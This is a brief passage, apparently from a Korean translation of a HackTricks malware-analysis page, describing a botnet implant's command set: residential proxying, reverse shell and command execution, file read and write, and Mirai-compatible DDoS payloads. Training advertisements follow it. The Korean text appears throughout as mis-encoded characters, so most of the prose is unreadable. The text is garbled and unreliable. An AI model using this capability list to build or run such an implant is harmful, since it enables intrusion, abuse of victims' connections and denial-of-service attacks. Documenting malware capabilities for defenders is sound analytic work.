  • ์ง€์›๋˜๋Š” ๋ช…๋ น(verbs)์—๋Š” SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, ๋ฐ Mirai-compatible DDoSBody ํŽ˜์ด๋กœ๋“œ(๋™์ผํ•œ AtkType, Duration, Targets[], Flags[] ๋ ˆ์ด์•„์›ƒ)๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ